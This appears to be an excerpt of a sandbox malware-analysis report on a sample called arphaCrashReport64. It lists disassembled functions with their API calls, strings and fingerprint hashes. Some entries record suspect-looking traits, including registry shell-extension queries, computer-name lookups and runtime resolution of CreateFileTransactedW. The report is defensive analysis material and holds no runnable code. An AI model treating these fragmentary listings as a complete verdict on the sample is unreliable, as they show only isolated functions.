__doserrno.LIBCMT ref: 0000021497C4D61D
free.LIBCMT ref: 0000021497C4D674
_errno.LIBCMT ref: 0000021497C4D6E4

Memory Dump Source

Source File: 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497c30000_arphaCrashReport64.jbxd

Similarity

API ID: __doserrno_errno$_invalid_parameter_noinfofree
String ID:
API String ID: 3760323483-0
Opcode ID: f6f2cbfcb04b39f03fd32e05ec31852a2d6f70f061b4e20e682d57eae25433b6
Instruction ID: dcbf13ce521558af7a4e5bb654292b11bc08f12a5d9609c223e978834efd6f2b
Opcode Fuzzy Hash: f6f2cbfcb04b39f03fd32e05ec31852a2d6f70f061b4e20e682d57eae25433b6
Instruction Fuzzy Hash: 2A911630658A888FEB19FF58C48EBFA77E0FB65316F00096DD58FC7196DA3494068B42

Function 00007FF6001684E0 Relevance: 9.2, APIs: 6, Instructions: 223COMMON

Download Yara Rule

APIs

SetWindowLocalDump.ARPHADUMP64 ref: 00007FF600168574
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF6001685C2
SetWindowTextW.USER32 ref: 00007FF6001686E5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF600168747
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60016874D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF600168753

Memory Dump Source

Source File: 00000003.00000002.3890875845.00007FF600161000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF600160000, based on PE: true

Associated: 00000003.00000002.3890859483.00007FF600160000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890934094.00007FF600192000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890957831.00007FF600195000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff600160000_arphaCrashReport64.jbxd

Similarity

API ID: Window_invalid_parameter_noinfo_noreturn$DumpLocal$Text
String ID:
API String ID: 1535639937-0
Opcode ID: 9f4b65d3ec95df0c91807e3bf37b6eb5b8ba7b4b4cbf9ca1c62c61d0966dc73c
Instruction ID: ab77a6c98da617c846ce22f2aa2408cc8aa4a6bd3baaa9cf5b2be7f05e77ac4e
Opcode Fuzzy Hash: 9f4b65d3ec95df0c91807e3bf37b6eb5b8ba7b4b4cbf9ca1c62c61d0966dc73c
Instruction Fuzzy Hash: EA81B272B14B5695EF00DBA9E8487AC2361BB85BE4F204271EE2D977D9DE38D041C300

Function 0000021497C458A8 Relevance: 9.2, APIs: 6, Instructions: 164COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000021497C458C7

Part of subcall function 0000021497C454E4: _getptd.LIBCMT ref: 0000021497C454EE

Part of subcall function 0000021497C44CB4: malloc.LIBCMT ref: 0000021497C44CDF

free.LIBCMT ref: 0000021497C45952

Part of subcall function 0000021497C436E0: _errno.LIBCMT ref: 0000021497C43700

_lock.LIBCMT ref: 0000021497C45982
free.LIBCMT ref: 0000021497C45A25
free.LIBCMT ref: 0000021497C45A51
_errno.LIBCMT ref: 0000021497C45A56

Memory Dump Source

Source File: 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497c30000_arphaCrashReport64.jbxd

Similarity

API ID: free$_errno_getptd$_lockmalloc
String ID:
API String ID: 1369581901-0
Opcode ID: dfd48de12b3e966387c16bd8cfcff08fc85f586fa0c636f5f2138c5d3ae57c13
Instruction ID: eb5010880b0e9f4fa9a3e3ba1a9583876a8ea59bd4793286bb292637ae7fcbca
Opcode Fuzzy Hash: dfd48de12b3e966387c16bd8cfcff08fc85f586fa0c636f5f2138c5d3ae57c13
Instruction Fuzzy Hash: 1651F830658A844FEB90FF28A485FFA77D1FB68315F144959D88DC72DBDA34A8428F42

Function 0000021497F35EF0 Relevance: 9.1, APIs: 6, Instructions: 118COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000021497F35F0F

Part of subcall function 0000021497F34958: _amsg_exit.LIBCMT ref: 0000021497F3496E

Part of subcall function 0000021497F35B2C: _getptd.LIBCMT ref: 0000021497F35B36
Part of subcall function 0000021497F35B2C: _amsg_exit.LIBCMT ref: 0000021497F35BD3

Part of subcall function 0000021497F35BE8: GetOEMCP.KERNEL32(?,?,?,?,?,?,?,0000021497F35F2A,?,?,?,?,?,0000021497F360E7), ref: 0000021497F35C12

Part of subcall function 0000021497F352FC: malloc.LIBCMT ref: 0000021497F35327
Part of subcall function 0000021497F352FC: Sleep.KERNEL32(?,?,ceil,0000021497F39B11,?,?,?,0000021497F39BBB,?,?,00000000,0000021497F34875,?,?,00000000,0000021497F3492C), ref: 0000021497F3533A

free.LIBCMT ref: 0000021497F35F9A

Part of subcall function 0000021497F33D28: HeapFree.KERNEL32(?,?,00000000,0000021497F34940,?,?,?,0000021497F33209,?,?,?,?,0000021497F43CCA), ref: 0000021497F33D3E
Part of subcall function 0000021497F33D28: _errno.LIBCMT ref: 0000021497F33D48
Part of subcall function 0000021497F33D28: GetLastError.KERNEL32(?,?,00000000,0000021497F34940,?,?,?,0000021497F33209,?,?,?,?,0000021497F43CCA), ref: 0000021497F33D50

_lock.LIBCMT ref: 0000021497F35FCA
free.LIBCMT ref: 0000021497F3606D
free.LIBCMT ref: 0000021497F36099
_errno.LIBCMT ref: 0000021497F3609E

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: free$_amsg_exit_errno_getptd$ErrorFreeHeapLastSleep_lockmalloc
String ID:
API String ID: 3894533514-0
Opcode ID: eb00640c03e47e874c894215d7be1c1520d5e1d63ad340f99a6365e368a02bbf
Instruction ID: e444953ff8ce0a7dd6a206f4d0a035ef78a283d8eaf2497d4a5a90a7e4ebe595
Opcode Fuzzy Hash: eb00640c03e47e874c894215d7be1c1520d5e1d63ad340f99a6365e368a02bbf
Instruction Fuzzy Hash: BA510576204A4086E758FB25E429BEF77A1F7A4BD6F144916DA5E6B39ECB38C401CB00

Function 0000021497C4856C Relevance: 9.1, APIs: 6, Instructions: 116COMMON

Download Yara Rule

APIs

_lock.LIBCMT ref: 0000021497C48593
_errno.LIBCMT ref: 0000021497C485A7
_invalid_parameter_noinfo.LIBCMT ref: 0000021497C485B3
calloc.LIBCMT ref: 0000021497C485F5
_errno.LIBCMT ref: 0000021497C48602
_errno.LIBCMT ref: 0000021497C4860D

Memory Dump Source

Source File: 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497c30000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo_lockcalloc
String ID:
API String ID: 2577527384-0
Opcode ID: 2f70ec6ef3d5c3994c8657d7c15eef66e98feaa01b428a6d9299e4e104dbd0a3
Instruction ID: 56ff49cf7ec1359e5c4442b30f264eab656a21f4ae33ecce12d1f07511c3e6bd
Opcode Fuzzy Hash: 2f70ec6ef3d5c3994c8657d7c15eef66e98feaa01b428a6d9299e4e104dbd0a3
Instruction Fuzzy Hash: 8A319330654E898FE794BF6D540ABABB7D0FB68341F410969A84DD72DADE34DC008B86

Function 0000021497C49468 Relevance: 9.1, APIs: 6, Instructions: 82COMMONLIBRARYCODE

Download Yara Rule

APIs

_FF_MSGBANNER.LIBCMT ref: 0000021497C4948F

Part of subcall function 0000021497C49E5C: _set_error_mode.LIBCMT ref: 0000021497C49E65
Part of subcall function 0000021497C49E5C: _set_error_mode.LIBCMT ref: 0000021497C49E74

Part of subcall function 0000021497C49BFC: _set_error_mode.LIBCMT ref: 0000021497C49C41
Part of subcall function 0000021497C49BFC: _set_error_mode.LIBCMT ref: 0000021497C49C52

Part of subcall function 0000021497C44CB4: malloc.LIBCMT ref: 0000021497C44CDF

_errno.LIBCMT ref: 0000021497C494D1
_lock.LIBCMT ref: 0000021497C494E5
free.LIBCMT ref: 0000021497C49508
_errno.LIBCMT ref: 0000021497C4950D

Memory Dump Source

Source File: 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497c30000_arphaCrashReport64.jbxd

Similarity

API ID: _set_error_mode$_errno$_lockfreemalloc
String ID:
API String ID: 360200360-0
Opcode ID: 73ae3fb5c7c4ccbaaf4f8d4c4d45a553f7f84ec8388a2a8c33d3473ba375301a
Instruction ID: 0ad11f68fe94e683512ad497676aaa1d9876138004ff2ee9a258ec7ab41492be
Opcode Fuzzy Hash: 73ae3fb5c7c4ccbaaf4f8d4c4d45a553f7f84ec8388a2a8c33d3473ba375301a
Instruction Fuzzy Hash: 5521B630288A999FF764BFA6E41DBEA77D0E774312F504D28A40ED32DADB7489408F41

Function 0000021497F38BB4 Relevance: 9.1, APIs: 6, Instructions: 79COMMON

Download Yara Rule

APIs

_lock.LIBCMT ref: 0000021497F38BDB

Part of subcall function 0000021497F39B98: _amsg_exit.LIBCMT ref: 0000021497F39BC2

_errno.LIBCMT ref: 0000021497F38BEF
_invalid_parameter_noinfo.LIBCMT ref: 0000021497F38BFB

Part of subcall function 0000021497F35664: GetCurrentProcess.KERNEL32(?,?,?,?,0000021497F35706), ref: 0000021497F3567C

calloc.LIBCMT ref: 0000021497F38C3D
_errno.LIBCMT ref: 0000021497F38C4A
_errno.LIBCMT ref: 0000021497F38C55

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$CurrentProcess_amsg_exit_invalid_parameter_noinfo_lockcalloc
String ID:
API String ID: 1209116363-0
Opcode ID: 3d055b34e79a5cda464dcf1f1aea2af4a9904d0a9e2e1322d776b52311ff47c0
Instruction ID: f70b94140785726352cb2f6c80c4cb1ffb7dbc5c854f6fa7a62ffcc61f73cf27
Opcode Fuzzy Hash: 3d055b34e79a5cda464dcf1f1aea2af4a9904d0a9e2e1322d776b52311ff47c0
Instruction Fuzzy Hash: 00218131301B0282FB14BF65A469B9F6291BBA5BC5F484824EF4D6778ADF3CD8158B18

Function 0000021497F3976C Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,0000021497F342ED), ref: 0000021497F39785
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,0000021497F342ED), ref: 0000021497F397DC
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,0000021497F342ED), ref: 0000021497F39817
free.LIBCMT ref: 0000021497F39824
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,0000021497F342ED), ref: 0000021497F3982F
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,0000021497F342ED), ref: 0000021497F3983D

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide$free
String ID:
API String ID: 517548149-0
Opcode ID: e92270d1c1e25466c38415bf8e68df5b368d6513ed967c410428f0e42ef408fa
Instruction ID: 3749b3c71a97c5060fa91da11cf5535d3a29738d9e8464ce6311cf14ffd75c2b
Opcode Fuzzy Hash: e92270d1c1e25466c38415bf8e68df5b368d6513ed967c410428f0e42ef408fa
Instruction Fuzzy Hash: C821A732614B8086EB20EF21B428A9F77E4FB99BC6F484414DE8E27758DF38C551CB04

Function 0000021497C48448 Relevance: 9.0, APIs: 6, Instructions: 43COMMON

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 0000021497C48455
_errno.LIBCMT ref: 0000021497C4845D
_invalid_parameter_noinfo.LIBCMT ref: 0000021497C48469
_errno.LIBCMT ref: 0000021497C48492

Memory Dump Source

Source File: 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497c30000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$__doserrno_invalid_parameter_noinfo
String ID:
API String ID: 4115123133-0
Opcode ID: 6bd33e9cc88758b05f4ffe04088cbd09dc5e0fe9f91c9aa33adb7de791cfd3bc
Instruction ID: 4fc4f57864ff97e35726ad85f312f331d9937bd21224eb88bc2fd19f609c15eb
Opcode Fuzzy Hash: 6bd33e9cc88758b05f4ffe04088cbd09dc5e0fe9f91c9aa33adb7de791cfd3bc
Instruction Fuzzy Hash: 3E018F302802804EF7203BB4486EFFF26D48B36367F411D50A9AEA65EAD62448405F55

Function 0000021497F348D4 Relevance: 9.0, APIs: 6, Instructions: 37threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0000021497F33209,?,?,?,?,0000021497F43CCA,?,?,?,?,0000021497F434F1), ref: 0000021497F348DE
FlsGetValue.KERNEL32(?,?,?,0000021497F33209,?,?,?,?,0000021497F43CCA,?,?,?,?,0000021497F434F1), ref: 0000021497F348EC
SetLastError.KERNEL32(?,?,?,0000021497F33209,?,?,?,?,0000021497F43CCA,?,?,?,?,0000021497F434F1), ref: 0000021497F34944

Part of subcall function 0000021497F3537C: Sleep.KERNEL32(?,?,ceil,0000021497F34907,?,?,?,0000021497F33209,?,?,?,?,0000021497F43CCA), ref: 0000021497F353C1

FlsSetValue.KERNEL32(?,?,?,0000021497F33209,?,?,?,?,0000021497F43CCA,?,?,?,?,0000021497F434F1), ref: 0000021497F34918
free.LIBCMT ref: 0000021497F3493B

Part of subcall function 0000021497F3481C: _lock.LIBCMT ref: 0000021497F34870
Part of subcall function 0000021497F3481C: _lock.LIBCMT ref: 0000021497F3488F

GetCurrentThreadId.KERNEL32 ref: 0000021497F3492C

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: ErrorLastValue_lock$CurrentSleepThreadfree
String ID:
API String ID: 3106088686-0
Opcode ID: 6ebd17abd531518c99cd0e2d202aae095663125e7d7d49137b697db85a716716
Instruction ID: 5f39adc3045dc830e624f28b2f768d4d1340a50323ea891111f8bbc903044d5e
Opcode Fuzzy Hash: 6ebd17abd531518c99cd0e2d202aae095663125e7d7d49137b697db85a716716
Instruction Fuzzy Hash: D201713020174083FE05FB65E47CEBA22A1BBA8BE2F584A24CA1D173D9DE38C444CF14

Function 00007FF60016CD10 Relevance: 9.0, APIs: 6, Instructions: 26COMMON

Download Yara Rule

APIs

IsWindow.USER32 ref: 00007FF60016CD1D
GetParent.USER32 ref: 00007FF60016CD2B
IsWindow.USER32 ref: 00007FF60016CD34
GetParent.USER32 ref: 00007FF60016CD42
EnableWindow.USER32(?,?,?,?,?,?,?,?,FFFFFFFE,00000000,?,00007FF60016AECA), ref: 00007FF60016CD50
DestroyWindow.USER32(?,?,?,?,?,?,?,?,FFFFFFFE,00000000,?,00007FF60016AECA), ref: 00007FF60016CD5A

Memory Dump Source

Source File: 00000003.00000002.3890875845.00007FF600161000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF600160000, based on PE: true

Associated: 00000003.00000002.3890859483.00007FF600160000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890934094.00007FF600192000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890957831.00007FF600195000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff600160000_arphaCrashReport64.jbxd

Similarity

API ID: Window$Parent$DestroyEnable
String ID:
API String ID: 2549540158-0
Opcode ID: 2bb13052c7cf26e7de56ff1d4bc1bb3e76ef28178d89c37ca3a658b1d5aa1eac
Instruction ID: d1d68c03307a6fdc3c3ef5d07aad3198237b83c96e804fcbf78b70801e992547
Opcode Fuzzy Hash: 2bb13052c7cf26e7de56ff1d4bc1bb3e76ef28178d89c37ca3a658b1d5aa1eac
Instruction Fuzzy Hash: BDF0DA35A0494291EB119FA2EC9433863A0FF98F85F284075C90EC7369DF7CD985C3A0

Function 0000021497C51350 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 224COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000021497C51381
_getptd.LIBCMT ref: 0000021497C5139F
_CallSETranslator.LIBCMT ref: 0000021497C513E7

Part of subcall function 0000021497C50340: _getptd.LIBCMT ref: 0000021497C50367

Strings

RCC, xrefs: 0000021497C513BD
MOC, xrefs: 0000021497C513B5

Memory Dump Source

Source File: 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497c30000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd$CallTranslator
String ID: MOC$RCC
API String ID: 3569367362-2084237596
Opcode ID: a6f955ceb13d2aead7e47fc715c960d9cbe24e492db051bcc867407ba1bb340d
Instruction ID: 545819c0d4c1c40735ed0fd55d2e66b86af9ca305e908cb3e698653903970cbc
Opcode Fuzzy Hash: a6f955ceb13d2aead7e47fc715c960d9cbe24e492db051bcc867407ba1bb340d
Instruction Fuzzy Hash: C571B33011CB498BE760FF68C009BEAB3E0FBA1305F504E5ED049C7556EB75A591CB82

Function 0000021497F41998 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 143COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000021497F419C9

Part of subcall function 0000021497F34958: _amsg_exit.LIBCMT ref: 0000021497F3496E

_getptd.LIBCMT ref: 0000021497F419E7
_CallSETranslator.LIBCMT ref: 0000021497F41A2F

Part of subcall function 0000021497F40988: _getptd.LIBCMT ref: 0000021497F409AF

Strings

MOC, xrefs: 0000021497F419FD
RCC, xrefs: 0000021497F41A05

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd$CallTranslator_amsg_exit
String ID: MOC$RCC
API String ID: 1374396951-2084237596
Opcode ID: a6f955ceb13d2aead7e47fc715c960d9cbe24e492db051bcc867407ba1bb340d
Instruction ID: f85ea2722aeffac5294eca3f9c6947b834ef9735d7d7f8efc878f5910891638b
Opcode Fuzzy Hash: a6f955ceb13d2aead7e47fc715c960d9cbe24e492db051bcc867407ba1bb340d
Instruction Fuzzy Hash: 3261B273244A8486DB60EB15E4ACBFEB3A0F791B8AF444916DB8D67689DB78C151CB00

Function 00007FF600168290 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72libraryfileloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6001682D0
GetProcAddress.KERNEL32 ref: 00007FF6001682F1
CreateFileW.KERNEL32 ref: 00007FF600168389

Strings

kernel32.dll, xrefs: 00007FF6001682C9
CreateFileTransactedW, xrefs: 00007FF6001682E7

Memory Dump Source

Source File: 00000003.00000002.3890875845.00007FF600161000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF600160000, based on PE: true

Associated: 00000003.00000002.3890859483.00007FF600160000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890934094.00007FF600192000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890957831.00007FF600195000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff600160000_arphaCrashReport64.jbxd

Similarity

API ID: AddressCreateFileHandleModuleProc
String ID: CreateFileTransactedW$kernel32.dll
API String ID: 2580138172-2053874626
Opcode ID: 02427ab3b42849df072f26c3d517596b14f549963aef437c67c1a92d75162d1d
Instruction ID: 5b2eb877f6fbebbf6724fc2f289480971827d6ec68f149dede3e82f37f81c38a
Opcode Fuzzy Hash: 02427ab3b42849df072f26c3d517596b14f549963aef437c67c1a92d75162d1d
Instruction Fuzzy Hash: F131213261CB8196D7608F95F85036A73A0F788BA4F244379EA9D83B98DF3CD540CB00

Function 0000021497F41511 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32 ref: 0000021497F41564
_getptd.LIBCMT ref: 0000021497F41519

Part of subcall function 0000021497F34958: _amsg_exit.LIBCMT ref: 0000021497F3496E

_getptd.LIBCMT ref: 0000021497F415DB
_getptd.LIBCMT ref: 0000021497F415E7

Strings

csm, xrefs: 0000021497F4159B

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd$ExceptionRaise_amsg_exit
String ID: csm
API String ID: 4155239085-1018135373
Opcode ID: 3d7b47e0f6bab72505bbf465c5b16e1dcb4b87de87066540f1dd17ecd2e8909f
Instruction ID: 19faf7dec5eb8208deb916bd221f9e990ff02cd283a68e1d82e5b828920d554d
Opcode Fuzzy Hash: 3d7b47e0f6bab72505bbf465c5b16e1dcb4b87de87066540f1dd17ecd2e8909f
Instruction Fuzzy Hash: 88315E3614464483EA70EF16E058BEFB360F3657A6F004611DEAE13B99DB39D845CF04

Function 0000021497F323A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 52stringCOMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32 ref: 0000021497F323FF
lstrcpy.KERNEL32 ref: 0000021497F32415
wsprintfA.USER32 ref: 0000021497F32444

Strings

UnKnow, xrefs: 0000021497F32409
SOFTWARE\%sW\, xrefs: 0000021497F32435

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: ComputerNamelstrcpywsprintf
String ID: SOFTWARE\%sW\$UnKnow
API String ID: 2045598086-1925786254
Opcode ID: 25c50ad494a74fd68276a52b2ad7a8bf00471c7cb4c17d8fbebd1e3e914b1a27
Instruction ID: 805a0d70018143f823d67d5b47b0101cab8a7c16d6a5251f9a1c8d81c14b109f
Opcode Fuzzy Hash: 25c50ad494a74fd68276a52b2ad7a8bf00471c7cb4c17d8fbebd1e3e914b1a27
Instruction Fuzzy Hash: 4E217132218A8181EB50EB64E868BDBA7A1F7E4785F800412E68D9396DEB7DC109CF04

Function 0000021497F322C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45stringCOMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32 ref: 0000021497F3230D
lstrcpy.KERNEL32 ref: 0000021497F32323
wsprintfA.USER32 ref: 0000021497F32352

Strings

UnKnow, xrefs: 0000021497F32317
SOFTWARE\%sW\, xrefs: 0000021497F32343

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: ComputerNamelstrcpywsprintf
String ID: SOFTWARE\%sW\$UnKnow
API String ID: 2045598086-1925786254
Opcode ID: 9a0f78225019bec5deb3bcd3db4271389db7be9a6f745cdf9b7e71a9e80b477f
Instruction ID: 02f808510de2ad5cea4649cc0453998f7152995bf61627cf1dfa3ff976a30ca1
Opcode Fuzzy Hash: 9a0f78225019bec5deb3bcd3db4271389db7be9a6f745cdf9b7e71a9e80b477f
Instruction Fuzzy Hash: 08114C3221898192EB20EF11E468BEB6361F7E8786F804411D74D57959EB3DC549CF00

Function 0000021497F2F600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 0000021497F2F629
RegGetValueA.ADVAPI32 ref: 0000021497F2F666
RegCloseKey.ADVAPI32 ref: 0000021497F2F681

Strings

Start, xrefs: 0000021497F2F64B
SOFTWARE\Classes\*\shellex, xrefs: 0000021497F2F60B

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: CloseOpenValue
String ID: SOFTWARE\Classes\*\shellex$Start
API String ID: 779948276-205936948
Opcode ID: 0ca0d2eb96febe7c3f1de3174b521f459ddaae00c317af299b2ead55954e0038
Instruction ID: faf27e9c1a8e4a561269fa922023493752f29dd8647453f1034e72c82e5f8675
Opcode Fuzzy Hash: 0ca0d2eb96febe7c3f1de3174b521f459ddaae00c317af299b2ead55954e0038
Instruction Fuzzy Hash: E9014872224B8587EB10DB65E898B8AB7A4F798795F400525EA8D53B68EF78C148CF04

Function 0000021497C4B5F4 Relevance: 7.8, APIs: 5, Instructions: 268COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 0000021497C4B687
free.LIBCMT ref: 0000021497C4B816
free.LIBCMT ref: 0000021497C4B822

Memory Dump Source

Source File: 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497c30000_arphaCrashReport64.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: b43a66ac7ff6aaea2afa98109b798b6886ea9ecbd7ee844780fc29dcba4b1917
Instruction ID: 283da8b78a8a7c4b2a47a1b88a5fabe1354999d3382be97d8560565efe6a1224
Opcode Fuzzy Hash: b43a66ac7ff6aaea2afa98109b798b6886ea9ecbd7ee844780fc29dcba4b1917
Instruction Fuzzy Hash: CF81B730658A884FEB59FF1C945ABE677D1FB68301F10096EE58EC3296EB34D8418B81

Function 0000021497C37698 Relevance: 7.7, APIs: 5, Instructions: 187COMMON

Download Yara Rule

APIs

Part of subcall function 0000021497C42C48: malloc.LIBCMT ref: 0000021497C42C62

std::exception::exception.LIBCMT ref: 0000021497C3775F
free.LIBCMT ref: 0000021497C377CF
free.LIBCMT ref: 0000021497C377E1
free.LIBCMT ref: 0000021497C377F3
free.LIBCMT ref: 0000021497C37805

Memory Dump Source

Source File: 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497C30000, based on PE: false

Joe Sandbox IDA Plugin

